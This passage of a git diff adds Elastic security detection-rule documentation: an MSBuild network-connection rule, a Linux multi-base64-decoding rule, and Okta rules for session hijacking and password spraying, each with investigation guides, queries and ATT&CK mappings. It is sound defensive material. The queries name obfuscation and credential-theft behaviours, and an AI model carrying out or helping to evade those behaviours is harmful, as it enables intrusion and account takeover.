https://riccardoancarani.github.io/2019-10-19-hunting-covenant-msbuild/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Performance* + + +The performance impact of this rule is expected to be low to medium because of the first sequence, which looks for MsBuild.exe process execution. The events for this first sequence may be noisy, consider adding exceptions. + + +*Investigating MsBuild Making Network Connections* + + +By examining the specific traits of Windows binaries (such as process trees, command lines, network connections, registry modifications, and so on) it's possible to establish a baseline of normal activity. Deviations from this baseline can indicate malicious activity, such as masquerading and deserve further investigation. + +The Microsoft Build Engine, also known as MSBuild, is a platform for building applications. This engine provides an XML schema for a project file that controls how the build platform processes and builds software, and can be abused to proxy code execution. + +This rule looks for the `Msbuild.exe` utility execution, followed by a network connection to an external address. Attackers can abuse MsBuild to execute malicious files or masquerade as those utilities in order to bypass detections and evade defenses. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. + - Investigate the file digital signature and process original filename, if suspicious, treat it as potential malware. +- Investigate the target host that the signed binary is communicating with. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of destination IP address and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + + /* Look for MSBuild.exe process execution */ + /* The events for this first sequence may be noisy, consider adding exceptions */ + [process where host.os.type == "windows" and event.type == "start" and + ( + process.pe.original_file_name: "MSBuild.exe" or + process.name: "MSBuild.exe" + ) and + not user.id == "S-1-5-18"] + + /* Followed by a network connection to an external address */ + /* Exclude domains that are known to be benign */ + [network where host.os.type == "windows" and + event.action: ("connection_attempted", "lookup_requested") and + ( + process.pe.original_file_name: "MSBuild.exe" or + process.name: "MSBuild.exe" + ) and + not user.id == "S-1-5-18" and + not cidrmatch(destination.ip, "127.0.0.1", "::1") and + not dns.question.name : ( + "localhost", + "dc.services.visualstudio.com", + "vortex.data.microsoft.com", + "api.nuget.org")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multi-base64-decoding-attempt-from-suspicious-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multi-base64-decoding-attempt-from-suspicious-location.asciidoc new file mode 100644 index 0000000000..64865b0ca1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multi-base64-decoding-attempt-from-suspicious-location.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-20-multi-base64-decoding-attempt-from-suspicious-location]] +=== Multi-Base64 Decoding Attempt from Suspicious Location + +This rule detects the execution of multiple base64 decoding commands to decode data. multi-decoded data is suspicious, and may be used by attackers to obfuscate malicious payloads or commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multi-Base64 Decoding Attempt from Suspicious Location* + + +Base64 encoding is a common method to encode binary data into ASCII text, often used for data transmission. Adversaries exploit this by encoding malicious payloads to evade detection. The detection rule identifies suspicious decoding activities, especially from unusual directories, by monitoring rapid sequences of decoding commands. It excludes benign processes to reduce false positives, focusing on potential threats in Linux environments. + + +*Possible investigation steps* + + +- Review the process details, including the parent entity ID and executable path, to understand the context of the decoding activity and identify the parent process responsible for initiating the base64 commands. +- Examine the working directory where the decoding occurred, focusing on suspicious locations such as "/tmp/*", "/var/tmp*", "/dev/shm/*", "/var/www/*", "/home/*", and "/root/*" to determine if the activity aligns with typical usage patterns or if it indicates potential malicious behavior. +- Analyze the command-line arguments used in the decoding process, specifically looking for "-d*" or "--d*" flags, to assess whether the decoding was intended to obfuscate data or execute hidden payloads. +- Investigate the sequence of events within the 3-second maxspan to identify any rapid or automated decoding attempts that could suggest scripted or malicious activity. +- Check for any exclusions in the rule, such as known benign processes or directories, to ensure the alert is not a false positive and the activity is genuinely suspicious. +- Correlate the alert with other security events or logs from the same host or network segment to gather additional context and determine if this is part of a larger attack or isolated incident. + + +*False positive analysis* + + +- Scheduled tasks or cron jobs may trigger base64 decoding in benign processes. Exclude known executables like "/etc/cron.daily/vivaldi" and "/etc/cron.daily/opera-browser" to reduce false positives. +- System management tools or agents, such as those located in "/opt/microsoft/omsagent/plugin" or "/opt/rapid7/ir_agent/*", might use base64 decoding for legitimate purposes. Add these directories to the exclusion list to prevent unnecessary alerts. +- Temporary directories like "/tmp/newroot/*" may be used by legitimate applications for transient data processing. Consider excluding these paths if they are frequently involved in non-malicious activities. +- User scripts or applications in home directories may use base64 for encoding or decoding data. Monitor and whitelist specific user processes that are known to be safe to avoid false positives. +- Regularly review and update the exclusion list based on observed benign activities to ensure the rule remains effective without generating excessive false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further execution of potentially malicious payloads. Disconnect the system from the network to contain the threat. + +- Review and terminate any suspicious processes identified by the detection rule, particularly those involving base64 decoding from unusual directories. Use process management tools to kill these processes. + +- Conduct a thorough examination of the directories flagged by the alert (e.g., /tmp, /var/tmp, /dev/shm) to identify and remove any malicious files or scripts. Ensure these directories are cleaned of unauthorized or suspicious content. + +- Restore the system from a known good backup if any malicious activity is confirmed, ensuring that the backup is free from compromise. + +- Escalate the incident to the security operations team for further investigation and analysis. Provide them with logs and details of the processes and directories involved for deeper threat assessment. + +- Implement additional monitoring and alerting for similar suspicious activities, focusing on rapid sequences of base64 decoding commands and unusual directory usage to enhance detection capabilities. + +- Review and update access controls and permissions for the directories involved to prevent unauthorized access and execution of potentially harmful scripts or binaries. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.parent.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.executable != null and + process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and + // Only including potentially suspicious locations + process.args like~ ("-d*", "--d*") and process.working_directory like ( + "/tmp/*", "/var/tmp*", "/dev/shm/*", "/var/www/*", "/home/*", "/root/*" + ) and not ( + process.parent.executable in ( + "/usr/share/ec2-instance-connect/eic_curl_authorized_keys", "/etc/cron.daily/vivaldi", + "/etc/cron.daily/opera-browser" + ) or + process.working_directory like ( + "/opt/microsoft/omsagent/plugin", "/opt/rapid7/ir_agent/*", "/tmp/newroot/*" + ) or + (process.parent.name == "zsh" and process.parent.command_line like "*extendedglob*") + )] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.executable != null and + process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and + process.args like~ ("-d*", "--d*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multiple-device-token-hashes-for-single-okta-session.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multiple-device-token-hashes-for-single-okta-session.asciidoc new file mode 100644 index 0000000000..c5b7827c75 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multiple-device-token-hashes-for-single-okta-session.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-multiple-device-token-hashes-for-single-okta-session]] +=== Multiple Device Token Hashes for Single Okta Session + +This rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://support.okta.com/help/s/article/session-hijacking-attack-definition-damage-defense?language=en_US +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Domain: SaaS +* Resources: Investigation Guide + +*Version*: 311 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Device Token Hashes for Single Okta Session* + + +This rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources. + + +*Possible investigation steps:* + +- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.authentication_context.external_session_id` values can be used to pivot into the raw authentication events related to this alert. +- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - Authentication events have been filtered out to focus on Okta activity via established sessions. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. +- Aggregate by `okta.actor.alternate_id` and `event.action` to determine the type of actions that are being performed by the actor(s) involved in this action. + - If various activity is reported that seems to indicate actions from separate users, consider deactivating the user's account temporarily. + + +*False positive analysis:* + +- It is very rare that a legitimate user would have multiple device token hashes for a single Okta session as DT hashes do not change after an authenticated session is established. + + +*Response and remediation:* + +- Consider stopping all sessions for the user(s) involved in this action. +- If this does not appear to be a false positive, consider resetting passwords for the users involved and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule. + - This should be done with caution as it may prevent legitimate alerts from being generated. + + +==== Setup + + + +*Setup* + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-okta* +| where + event.dataset == "okta.system" and + not event.action in ( + "policy.evaluate_sign_on", + "user.session.start", + "user.authentication.sso" + ) and + okta.actor.alternate_id != "system@okta.com" and + okta.actor.alternate_id rlike "[^@\\s]+\\@[^@\\s]+" and + okta.authentication_context.external_session_id != "unknown" +| keep + event.action, + okta.actor.alternate_id, + okta.authentication_context.external_session_id, + okta.debug_context.debug_data.dt_hash +| stats + Esql.okta_debug_context_debug_data_dt_hash_count_distinct = count_distinct(okta.debug_context.debug_data.dt_hash) + by + okta.actor.alternate_id, + okta.authentication_context.external_session_id +| where + Esql.okta_debug_context_debug_data_dt_hash_count_distinct >= 2 +| sort + Esql.okta_debug_context_debug_data_dt_hash_count_distinct desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc new file mode 100644 index 0000000000..6d49d165a6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy]] +=== Multiple Okta User Auth Events with Same Device Token Hash Behind a Proxy + +Detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. + +*Rule type*: threshold + +*Rule indices*: + +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Okta User Auth Events with Same Device Token Hash Behind a Proxy* + + +This rule detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. This may indicate that a shared device between users, or that a user is using a proxy to access multiple accounts for password spraying. + + +*Possible investigation steps:* + +- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. + - Since the device is behind a proxy, the `okta.client.ip` field will not be useful for determining the actual device IP address. +- Review the `okta.request.ip_chain` field for more information about the geographic location of the proxy. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons. + - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying. +- Examine the `okta.outcome.result` field to determine if the authentication was successful. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. + + +*False positive analysis:* + +- A user may have legitimately started a session via a proxy for security or privacy reasons. +- Users may share an endpoint related to work or personal use in which separate Okta accounts are used. + - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons. + - Shared systems such as Kiosks and conference room computers may be used by multiple users. + - Shared working spaces may have a single endpoint that is used by multiple users. + + +*Response and remediation:* + +- Review the profile of the users involved in this action to determine if proxy usage may be expected. +- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule. + - This will prevent future occurrences of this event for this device from triggering the rule. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system + and not okta.actor.id:okta* and okta.debug_context.debug_data.dt_hash:* + and okta.event_type:user.authentication* and okta.security_context.is_proxy:true + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc new file mode 100644 index 0000000000..e5ccf5e7fb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-multiple-okta-user-authentication-events-with-same-device-token-hash]] +=== Multiple Okta User Authentication Events with Same Device Token Hash + +Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Okta User Authentication Events with Same Device Token Hash* + + +This rule detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. Note that Okta does not log unrecognized usernames supplied during authentication attempts, so this rule may not detect all credential stuffing attempts or may indicate a targeted attack. + + +*Possible investigation steps:* + +- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.debug_context.debug_data.dt_hash` values can be used to pivot into the raw authentication events related to this activity. +- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- Review the `okta.security_context.is_proxy` field to determine if the device is a proxy. + - If the device is a proxy, this may indicate that a user is using a proxy to access multiple accounts for password spraying. +- With the list of `okta.actor.alternate_id` values, review `event.outcome` results to determine if the authentication was successful. + - If the authentication was successful for any user, pivoting to `event.action` values for those users may provide additional context. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons. + - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying. +- Examine the `okta.outcome.result` field to determine if the authentication was successful. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. + + +*False positive analysis:* + +- A user may have legitimately started a session via a proxy for security or privacy reasons. +- Users may share an endpoint related to work or personal use in which separate Okta accounts are used. + - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons. + - Shared systems such as Kiosks and conference room computers may be used by multiple users. + - Shared working spaces may have a single endpoint that is used by multiple users. + + +*Response and remediation:* + +- Review the profile of the users involved in this action to determine if proxy usage may be expected. +- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule. + - This will prevent future occurrences of this event for this device from triggering the rule. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-okta* +| where + event.dataset == "okta.system" and + (event.action like "user.authentication.*" or event.action == "user.session.start") and + okta.debug_context.debug_data.dt_hash != "-" and + okta.outcome.reason == "INVALID_CREDENTIALS" +| keep + event.action, + okta.debug_context.debug_data.dt_hash, + okta.actor.id, + okta.actor.alternate_id, + okta.outcome.reason +| stats + Esql.okta_actor_id_count_distinct = count_distinct(okta.actor.id) + by + okta.debug_context.debug_data.dt_hash, + okta.actor.alternate_id +| where + Esql.okta_actor_id_count_distinct > 20 +| sort + Esql.okta_actor_id_count_distinct desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: 